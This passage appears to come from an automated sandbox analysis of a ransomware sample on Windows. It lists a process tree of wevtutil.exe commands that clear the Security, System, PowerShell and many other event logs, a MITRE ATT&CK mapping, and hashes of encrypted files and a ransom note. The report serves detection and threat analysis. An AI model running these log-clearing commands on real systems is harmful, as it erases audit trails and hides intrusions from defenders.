    wevtutil.exe cl "Microsoft-Windows-WindowsColorSystem/Operational"
    3⤵
    PID:39376
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational"
    3⤵
    PID:39388
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Tracing"
    3⤵
    PID:39400
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational"
    3⤵
    PID:39412
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wininit/Diagnostic"
    3⤵
    PID:39424
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Winlogon/Diagnostic"
    3⤵
    PID:39436
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational"
    3⤵
    PID:39448
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Winsock-AFD/Operational"
    3⤵
    PID:39460
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational"
    3⤵
    PID:39472
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Winsrv/Analytic"
    3⤵
    PID:39484
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Diagnostic"
    3⤵
    PID:39496
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational"
    3⤵
    PID:39508
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wordpad/Admin"
    3⤵
    PID:39520
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wordpad/Debug"
    3⤵
    PID:38948
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Wordpad/Diagnostic"
    3⤵
    PID:42028
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-mobsync/Diagnostic"
    3⤵
    PID:42040
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ntshrui"
    3⤵
    PID:42052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-osk/Diagnostic"
    3⤵
    PID:42064
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-stobject/Diagnostic"
    3⤵
    PID:42080
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "OAlerts"
    3⤵
    PID:39536
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Security"
    3⤵
    PID:39540
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Setup"
    3⤵
    PID:39544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "System"
    3⤵
    PID:42116
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "TabletPC_InputPanel_Channel"
    3⤵
    PID:42120
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "WINDOWS_MP4SDECD_CHANNEL"
    3⤵
    PID:39556
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "WINDOWS_MSMPEG2VDEC_CHANNEL"
    3⤵
    PID:42132
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "WINDOWS_WMPHOTO_CHANNEL"
    3⤵
    PID:39572
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "WMPSetup"
    3⤵
    PID:42140
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "WMPSyncEngine"
    3⤵
    PID:42148
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Windows PowerShell"
    3⤵
    PID:42220
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager/Admin"
    3⤵
    PID:42172
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "muxencode"
    3⤵
    PID:42176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$Recycle.Bin\S-1-5-21-1385883288-3042840365-2734249351-1000\Restore_Your_Files.txt

Filesize
1KB

MD5
06533aa9773fd8b674d3ae68f6d27fd9

SHA1
cefcf481187338cfb2a6a9c40de2565a3fd2aa61

SHA256
b2d3e5be090e9be230eee99a4675e7309c313d0bf6a6f5bf2940a5ee2937adf1

SHA512
44be1e6e586c98c19b943d36f66e65dd08d049f540fbc10ae63ec43355f98db22d1543069a8dfe820d0ea96f1002cf541020060c5e68bbe22f1d76ac977930aa

Download Submit
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
1KB

MD5
edfe88b4468ff989d0631202b79997c3

SHA1
7648d5518072d582511cdc2dcc84e8366661799e

SHA256
a5ae8a6ed952b345d9523ce3990353972534d83b69ad5efbaaf7034c6ab17324

SHA512
0e5d439c6b3dbcb34f5523663d330a0dda9d7e6d091c99ef6a21c07c34c1df99f5e08984be35a3a205ec315c57bb30809dd6463ffef24b82b6e299824fad203d

Download Submit
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
405a767fc9e3b8b92e2bc13df193d5b3

SHA1
6cc02b00229680430fa10009b921ac16e03128b4

SHA256
5eacbb47cd92b9e3d9cd90e4bec780b28c99b398b7142db66c9f26977f8ed1ce

SHA512
15a554380e98be68f89ca439b5763d1885805133fef73955c8798e54c668fd0e2c9bc94f5acd54d7f7dd07dd17075dde69074f75129b4c2080f614f3326b50fe

Download Submit
C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
a5748712bbe77dc6a5af83b0bc9c9657

SHA1
cdc09f75fbc485c3887db6fe1a0e2a635ea41e77

SHA256
92284c116847206c1c58a1987eb5b455a3f07b5ec8c8dfeb335dad7c79a279cb

SHA512
4f39009ac8629d0db2eba4b0415a6d38beb65b0c8ef92cbd87d33b62371543952b4e94cb07b35afb0945a800882f47d1018102cda2966f3a356499f36cd52235

Download Submit
C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\WordLR.cab_[[email protected]].F91

Filesize
41.8MB

MD5
123843ab5086c44d0d040e2fbd5a10fd

SHA1
593c1047eb3c3e7a08adf05f53a2dd6265cf7af5

SHA256
c28ac4a218546c5a629be5aca2f735ecbf6d9c13f121d3b44d30af5411ccb91c

SHA512
05156f03efdde85bb4f8797ae78bc41b3497bcf9d6448fd813676227624b1ce598fb0a37b78a914f7da9f1c89736903dcd77b545e2b3d5f9af9b3690948c27f1

Download Submit
C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml

Filesize
2KB

MD5
1cd64fcbbb7e88a127b85bca86d52dec

SHA1
d248658cd4d2d81d2f2cf1873143a011585e7bbc

SHA256
9aa41a95d7e9d4258404b3fbda69a97dd992b7eadfdca113fa14b4abe6a044e0

SHA512
1670d9e478264f2568d0f2e112f46b3646213d795ccd9f3baa4c5de847003f48f1da20f78d2de8f86f270791db4a52997563a98893b18867697724d2743b2b16

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\Proof.xml

Filesize
1KB

MD5
73d7b692c35201af296023a9b7eb94f4

SHA1
25a47b18db9cdb5be6abab010167bf2f6ef00e30

SHA256
a7be2d2f0388c50302aafb329939619b132fc2aff18f5b29994f08e8a9d0657c

SHA512
874d5e0a17b3c6bb603bef0cee09f32d3a02b17cf4f9e00e583026ef9de8fbd9cce5816bcb8273f04bc00d4f88a1526eca623a23dec9924b3fb0b7f31891eaa2

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\Proof.xml

Filesize
1KB

MD5
63d82caffd1b67fdb80e28238d4cdbdf

SHA1
2dc18fe39434b4caf043b5639c5851f0e58cfb29

SHA256
789a5c2f20a1056e114516d5aa9c846d53679acff48de4a22a0dddea4ba4487c

SHA512
f167e1200acede35dfd5c1ad2ab9a3aed9e4734ddd72c794df403ca17b4c397fb3b7b739b4c790bb7f7cde983e64dfc3d1d0235038cd742296a1bd1abae2a741

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml

Filesize
1KB

MD5
3b797f21cf3bb5df1c03f9719fd60f4e

SHA1
6cf5139c2a833b98262a3b9fde5d954855de7b10

SHA256
56f930f87fe45f3dc82509e44e489b4ceee77efed0c52571a6a429a0794141dc

SHA512
c21eb423d6039c4b60be8ff18353a6a21e699658cfc82649bef528c03cc36452604d316301b1667defee11ee791271e4343f03806f24a72f71d1680d42dc8e3a

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Setup.xml_[[email protected]].F91

Filesize
6KB

MD5
d3b558f52fcb7e227888d2d072137f50

SHA1
ca8df26d90cff415960313f236ed52dd65e1454d

SHA256
010421f144a04b0735de89e6d9e6582884ee72a341e82a992ddf30e3d5bae97a

SHA512
2eea44ef7b9fabac516d126bb99035da410520567915bd4024a18dc83601a87c8dd27d9390305128a7b147decde328a14cd45e2a82089d4ba3bb98ed41dc9cd6

Download Submit
C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml

Filesize
1KB

MD5
bed268d64182295b3666ea39b0e41560

SHA1
b549298cb83e251a146fa09bc5893a9efaea3f93

SHA256
e0fe8fe7de503200c929b66171850b823128f157fd1028041afcfc5f32851458

SHA512
e918fba5291d045fbe181dc5d666471c62adac405b653c7c1e7de51171380615c80866a71b1ee68e1f8d355e482ad59d714cfbc7164cb3c663b3c97395834801

Download Submit
C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml

Filesize
1KB

MD5
c5b6fb3fae1ccfc842ee21a797452f76

SHA1
ce0fac6ca29e19c2a0bcde2a02cd35b6eaef291c

SHA256
21787c786d0a3f9828c753c09085b4c55e717371b41e4962f4415e652c97e63e

SHA512
3057f4d4f128397fbb86d89cbbca825a099e2277c5336567f229a812f7006785232aa3ed7a56b59514385dae1f653b8a72bf9de85d27e3b18bf85e208d486489

Download Submit
C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
41107ec1531ef106bd841d7e2cb6ab32

SHA1
7d082d0e7e90631f8cd47e505dcfc6f0631e2394

SHA256
bfeea0045acfec28ac93a1c9660869a87b7c5d3953c345c96e50fbb2c708321e

SHA512
63cad34857bacc3744785a436b2c3b8113cbdcb463a66a7d035ff8a4dc2c0dba50197cf9773591f0964ad36140dd9eea3e6ca22319d3591bec77029179016a5e

Download Submit
C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab

Filesize
3.9MB

MD5
08f26e0b349647e26e39fa69cb08beb6

SHA1
f2fd80e94a2a4a02abe963f1a83a183c1fdcb144

SHA256
cb258b40a6050e54fb4096418d6d13644c78ba4d6795df670a57ba1b30ff396e

SHA512
544fe9a8ea5dba9387c286ddc3d4b2745e83e230c3d1de27c1bafe41fecd69fa73fdda0feddeaef6d40c5de46bf80c497d61076a94c180d55043c75f81f9997e

Download Submit
C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab

Filesize
3.9MB

MD5
8f5b706dd17b8dfc6cc7fd7499a2cb8f

SHA1
245dc6ff9b845a962b214b7ebeb29237ffee1d27

SHA256
43f78a7c5ac7453e2caf54df83adbc8bdd4d1c6cac64663caa28ae31da56674c

SHA512
f78c26cb7c55f1f7c6bbd0f49ef3a8fc85926e87b3121f2a12b2863e1a29c84c7c7442d34deba13c8a3904a137be3d5e1f5922e9e4f51ca54afdfb6cbd558fe4

Download Submit
C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\GrooveMUI.xml

Filesize
1KB

MD5
1bd11b3944feac62082673a2020bee98

SHA1
1df804ee512760b4ca2db705fdb1bf07cc546198

SHA256
279fc9d6c00fa564c6720406f0dfabbf5fdd6e231ef957732be3c2f1c3231557

SHA512
beaaa9b9144cf479210ca17f45e6d74114dc9d173bdddf9fdde3578e803c02c2c82d653f8d69e688125de8b9d762c9bd22afa46a3d332c08d86e4fa9f0a5368b

Download Submit
C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\Office64MUI.xml

Filesize
1KB

MD5
58c6f4b8b6b4cb342ceab0930c6fcde7

SHA1
8b3611b6085c7c0c615a61dbb91f9552f9a62677

SHA256
69a4434affa4cb3d95cc8f0baab016b3f49e30e116d2b40025a4cb1332698f17

SHA512
901d9daf6266f33304570ddb8bfbc52474d0f5b477196b339b8956bfe1bb15d22814364fa9898e5e4365918fecd8807d621b45a23a334d92227ec062ca7cdd4e

Download Submit
C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\Office64MUISet.xml

Filesize
1KB

MD5
a1ceca0fb71ec3bcd9e04cb56d19712f

SHA1
08dfb194f20d5875491b1c1ab50c73990decf2bb

SHA256
a9c79a08d03d8e197b1bd21b8555d602e08d1889483da274ff5cbd10d79d9a83

SHA512
7e7722c53dbcdfdfc9b14190dd7f49eebe21b3aa1732b78da34949dbde32951ffae4d4dfc196dfb2a49f7f0c175c2dcf1c472a40e2b1f7246580a1259a1d6f84

Download Submit
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\1033\README.HTM

Filesize
1KB

MD5
362dc2f87cb0f0ee43c6906567537582

SHA1
22bb05cf5e8956e7b9d5efc250eeb34699aaa27f

SHA256
063ba6ec5dffdd7db8e487fc67d9bf818db01b83b8212cfe263b4a0b7ddb462b

SHA512
ec293ea853071c28384a4ac34b3ac386ee7eb7cccbc1439c14cfed4d6622ad49eb7f2dbda430d8c6a0e818eb8db459062bdcbe92265fcb645eb952b7c3e66eef

Download Submit
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\OneNote.en-us\SETUP.XML_[[email protected]].F91

Filesize
2KB

MD5
dabeb73a917d773ecb1df09f497c61d4

SHA1
3266d01d5a307da5815fa6b1a7d888c1b905c77e

SHA256
96930e9e8b7dd0aa982449cec81da20a252ab441f3c0ddf125eab8e8f721b6f5

SHA512
93220c42b0fdeb6971c526d2f56982d49ffc446d156016d51a3224cc1b92851489938e9076d0777d3e39b3d0a1c83beb1a63d1bac409137e4758beb8f76835be

Download Submit
C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\LISTS\1033\STOCKS.DAT

Filesize
38KB

MD5
ae9332afa9c18913a5883a0f81237ea6

SHA1
aad1dff4e449a6584591f00dffbe69d76c574a8b

SHA256
80b6dbac3d75a8803e97562ee54d91c1cba1e215b8d2c80db824420b64c3faff

SHA512
c28ccfb6b5cb4f6e1e7a77bbd426b7ba91424312fb4b68ee7b519cae5951660783f2ca1d986a172aa1d4f94a211b4de7497b40d9e5042f7ee6bc7e1de0b9ce60

Download Submit
C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\LISTS\1033\STOCKS.XML

Filesize
2KB

MD5
3a00674603a1af969931d03beda50aa0

SHA1
1ccbbfaa5c5b2c7655e65c0166e8933f6a1566d0

SHA256
89fbd8748cc3812c7ef0665dc41516a1c1fa88bb2e8136bc228b31eabef1c888

SHA512
bd11a7c457199b76b219603a6afa3e7a95597316dd84b620ebde716e724f6eac3f26487f0047fa79536dd86cb37d8f35d82264d695a0730940f3797ce518ec01

Download Submit
C:\Program Files (x86)\Microsoft Office\Document Themes 14\Adjacency.thmx_[[email protected]].F91

Filesize
52KB

MD5
b5af3b2e1e4b64aeaab3dc50b69fa6c7

SHA1
5b6c8fee3310aa14e31bd868fa2528b2c6acae80

SHA256
38e055fedd56cadca3c16625b4f5baff303c6f989c04b147592a881d61101cb3

SHA512
33753b408507e184660a7df24a631af1c59ab6378b5a9b27a873be3b523ebeb11ccc7bebfae254f624eef67ce18ad0a1f213e2e2839092011d85285e8b41eafd

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange.css

Filesize
3KB

MD5
c2e10767392fa9715a94643cd5eb8944

SHA1
e1ac0e2ef0d35ae5f691fe60f51c0914a543da3a

SHA256
dd1c1ec3abc3a52373d300b70799e869c7b2b60e33bd9586e5acb56273b29e68

SHA512
60979249886ed77ec70ce056bd1cc7fcffbae3e0a5617a456244e0431e7e899cbcf81a4b894065d1819a54c9431d7f88a4686f2f1e99171e56bdf5fd7fa9e145

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange.css_[[email protected]].F91

Filesize
3KB

MD5
8449a00c9592688f7e7df2b82faecea8

SHA1
22ce7b2b83de390e7b16b694b851e3c609e688a3

SHA256
45ebd1ea0a66175ceff2ec26743d8e73accc1808786fa96a248232acf4cee13d

SHA512
49ef13855bbee135a22905671cde8b05e69d46618e520cac84210922e933d56f0787776e24ea469ed8b10a428923d05ab9f689966e9cfba322820d96b92d096e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\GrayCheck\TAB_OFF.GIF_[[email protected]].F91

Filesize
342B

MD5
64fb9a0c0da2466ff2d08a60bb427217

SHA1
98d88f759bc8d4142a2b7c8c9c58aee3c643e0d0

SHA256
126d4d1e71c4b8ef9549db8ee054158012069e257fe7fa1e84d05486f2f30eef

SHA512
d9e0a54df06dbdbed54dfe939fdb2d2612c3c62e55fe2705200af760bbf855ec42f150406464f528f3ac033f6845ffa0c250b24900d961dfeb5b58bb865c96bc

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\SoftBlue\TAB_ON.GIF_[[email protected]].F91

Filesize
223B

MD5
f73b12f772706ca62d06bc92cc023df1

SHA1
8198bb3ad4e660b7c7d9c719b2c0ba92e6d95060

SHA256
e3c781bb064b6a26a440c2a6741d6b638f656d853d8c49540fe3c9d4010e64be

SHA512
7f3b15c1f24d4ec4ba854ba48cf5aa12773a58aee539fa8802a3d3d316e3d97eae361bdb7a5ed9d4ba75e9c7b54ab52d3e0d0cf4c48fef910f0e376b2ea48e3a

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATH.HXS

Filesize
1.5MB

MD5
c7aaf4ddd40c99457cde587ae6b0c6bd

SHA1
7bc0ab1562dfbe00d8885e1aa4418ba466cff246

SHA256
516136897f41de028b45b8f7bac6b8319a2d5ab1037aeb6f67f1707ee1670803

SHA512
fcbddc8fb43d0ff0f38abdf66fb74e770defd5d0d90d9ffa6b9bb1df8d07a75766cb685f868c425421f224303e685ce10851bb1e69185b4b0a64b88fdf9e8e8e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.HXS_[[email protected]].F91

Filesize
3.7MB

MD5
6077d67b08c1082f724607f6e46f7bec

SHA1
5a42a5f11df5f2033d133be220b5b19cefab7141

SHA256
fd0ee57efecd8d8d5a48de3d936a61b59212d69b19ca1191c718d9f891d5d763

SHA512
a9c9c146c6365ac637fe590782ef66e278a39b2410141bb75be6252297897e968fbbdce5fe6c4fd2b41bbaa61b69dfeb50df8c83563736d19505c6a433d3993c

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME54.CSS

Filesize
124KB

MD5
8b551fd3447de955661c34265865fa48

SHA1
d1d198aa00ada4dba84feb16cbc01bf3ce0efc4a

SHA256
ca8b56b08cc4d935f015b507baae2e6e0a9de8e2c9c1b028e69b7aec20934934

SHA512
de80fa352e1d9e802496eb32b7a4c49b5caf76270fe4eadc23cd06ab7714ab9f7e67bd70509c0d3475dbfb9e048fc61b957addbf2039d0927eaec5933cff304f

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME54.CSS_[[email protected]].F91

Filesize
124KB

MD5
79865024f52803d26a9fc5c60ed39543

SHA1
11130dde11bea6a73954ce6df540851ade55c416

SHA256
f2daf124e1783eb2545f8f60166e75d0af7bd7cd3384f5c5307b38c18167bd53

SHA512
0212504b7bd06962bc24e7236cd32c7d39a4bf16349ba62f8ca1501059ea509a708134bf1469c402b223fee90a44d51a76aff8ce68acdec33b26d0ac76b46d45

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Classic.dotx

Filesize
8KB

MD5
5ae4674313912240088d43ab1a384621

SHA1
8ef921b36f75326609c2212e0fed25ccf5bf72dd

SHA256
e965c73a771dbf02d861c223aa199c8770d1540b2853ecff5c3901b3cb2c1285

SHA512
cabfa36c79cabbb086d1cb2eb1ff8b9fed55eea0ab685ad1b8404c9bacab5153de90ca5c8c96f319123545ed977495b2393a3fb26ed6ef93670ce8d1930212b6

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Elegant.dotx_[[email protected]].F91

Filesize
8KB

MD5
428e25e6738bd831d83525ed9d952ff6

SHA1
8596fa09ef4c9d0a4e4ac01df55a845b359a0749

SHA256
f2b7a88f9d444163fb278c3aee2b85003ad69d190ae449c5d2109a7c7611e606

SHA512
a46e55bdb80c6a0798108c6ac5d515fcc15bed2c7e568328c5c7be0deaa1ad6942e77d1ebab3d10e853f3e26aa0e4e9f4695dd5b1205c53e9e08711942810553

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Americana.css

Filesize
2KB

MD5
ccaf6022a3800fe96051e4bb1113640b

SHA1
271cbef38fefcc918c56e817bcee16dc8909cdf2

SHA256
fc2c1a40ad2a5ec09c2c2b6a92f51963bb36d9eb9ad220f11374833144443a8c

SHA512
93d483b87ec811e6c87efcbdad1a2ff05ace3214eed12662a577e973c8df21c468c65b27545afed276c25181415dee78df7df895fd26d66cae3a61855fcb8e2e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange.css

Filesize
3KB

MD5
b4c9127c86042ec74ba2887a338ca361

SHA1
fcb4c61245db50f41d6a7729586dca639104ff47

SHA256
b559df4dfbb2f6108997451127c9a732b004ebf0267a974a2b372261af0a02f1

SHA512
27aba7e301b637ff806455610f6297344966afbc2f2a9f5ab2ac071cc6cb561a2099a98b62b0212432b902d5db46909b9c9cae291240c98739b999c0be3d78f9

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange.css_[[email protected]].F91

Filesize
3KB

MD5
acfc235d1feb5f1145aae805bf80a657

SHA1
fc2ed490cc835c50628e79b95cf9dc278c506354

SHA256
96de48631a3ab901973fd4857549b11bd89c07be665a9dfe403cbceb999a45b3

SHA512
7cc92a28835e049145022700b88feeba8dc632a6f4962c81847c7d11512d131a9dd31936a99a41a1a3923306631dd0afa49341d81357d42d5fd0d03d424d123a

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightYellow.css

Filesize
3KB

MD5
73aa95f0e3bdec93feebce27002978a0

SHA1
3d411a5cbdcd56ae912b6347e8bdbc966c13c93b

SHA256
a0864c25dc1bf456c916411b636dc93e4b35cd62751b2e1f72b698b13e5c6ef1

SHA512
e8afe0c42a9f139d5ad35e3515e8b102e30c80769e290f1d2ed9ffb866326f0e5d6383a96ebb732f5863ea56d77b6b745e9d279deb2da356c4562ca25dc26373

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Casual.css

Filesize
1KB

MD5
a9d38c8c239b80df568e8c73f69e2c21

SHA1
51f8dd435fa7f5bd7b4a4db8d365512eea61071a

SHA256
68cb9126f36ce1a006266df0c8a989f1f69745e5d3b934c2d351e73d1cc5ee01

SHA512
f3fce4c7e7b790819f9976e099a5c3a702c7115d948e8ee81f4cb1cfc19647cfcd8ef5cf83b668a4beef2c1706ce66bbe5c6e0af25872a37ad7f2284773d766e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Country.css

Filesize
884B

MD5
26860b0f88fa3e0858b2c35c284600e3

SHA1
6f6da20d085bcc1a08d654f6de174717311cccbd

SHA256
9ae22ef8d195c43d7a68ccf1c77ad705e7cbabb0961b3f16b2ef56b77f408856

SHA512
92cdb4557ae079b237c237336492fa3f21852c730a4bf31a2a8b4059de43331389ae6ab932b533e859347a16e6804d7ccfbba07ef6a7cd82569a0c6552d281ac

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Earthy.css_[[email protected]].F91

Filesize
1KB

MD5
365e647403cad034ff16a344628fdb6e

SHA1
eca6791ca3043a100d5f9b71f05c4287188cdaf4

SHA256
b2d8f2cd9339be92f373153c33f0ab246c74b878a30f9cf48ffa0d9bf0e2402d

SHA512
5ea0b8e24a6539d19f033fe3e5d1314ce73518754013c281a4d02d78191d637058dacb5fadec87a8f730fa3e1080cbe182c0cb71713f60f409373b78aac4c2f2

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Sts2.css

Filesize
3KB

MD5
5cf8b19e67ee88be78cb025aa831a7b9

SHA1
e7a27fbbe78449136c6362498eaa1efc58b9e6ab

SHA256
2ccc8e9b5dca1fa2d5c4f18160542e7d16c69be359233bf38a8167b0aab1881c

SHA512
b031923c52b23252c3fb5f1af975043de96895f0f4b88d5a80366c8e22d394a37ea90e982bdde7f96c1d50ad725c4f6b373258b54ad36fa27b76174600830824

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Sts2.css_[[email protected]].F91

Filesize
3KB

MD5
bdcdb27270702f90d3184d32a5060953

SHA1
e195bb92c76fa63c4072141f890f1ff1f433ff73

SHA256
60d3347e0be20a59687f1245c058158ee53e7dc031b114b62a1c11c01a0a8b25

SHA512
584178d362244e1c15a1a929b182f870784911aa79c24a6cf23778e93db6b8cb4892644e9ab3541fe0b85f75ee17ded4cce888d50a9c51f6472fe45bdb0c73e5

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\SUBMIT.JS_[[email protected]].F91

Filesize
75KB

MD5
bbac58a09f53324e835d9ae7dc23cb64

SHA1
30adcde2d336ef99bd4dc227a230dc21552fa1b4

SHA256
32e08619b23b81498266cb8b4ccb52b844076e9e60bd080bcc23bcbdf1c75a3e

SHA512
b65fe11a3cdaedee59625593f021ddc5c96f2868d4e4a636c46fd43412743f7160717b9e425a779c12b6c3dba2b37b34becbc996717d80ec119dac74cd7a45be

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_LightSpirit.gif_[[email protected]].F91

Filesize
8KB

MD5
76b27be2d293b858b4c2f5e02905f2b3

SHA1
01d5d05c6448fd0ad8408d7d2d5af677372919c4

SHA256
d4deb6585467ec9934c47d433e7528cc29941b8c641f44aa4f5ea6b0dec5bbe1

SHA512
594026786f952df04b0f3e1403d363f304211be09e603fbc24028bbaed08c2b93ed74ce410e64b8896cb370d589595371aa0265479c6adb63c77e1fc975b5294

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_OliveGreen.gif_[[email protected]].F91

Filesize
15KB

MD5
32877acbc220e854123976e5b012b912

SHA1
79679e21c6c1f5e8ef3af695a46a94042920b779

SHA256
e1161c168c1c23f1b106b4331ad9c4ef20792dacd2c56102da6de7b19a373f8d

SHA512
eff4c5dbb043107cfaf11818ea0a207bdf6341045f8f27ad0ab51027a35433593cc2a98968fa82eeb84628f6316fdfb755abeaa73f2b8cdd88085dff8f5d27cc

Download Submit
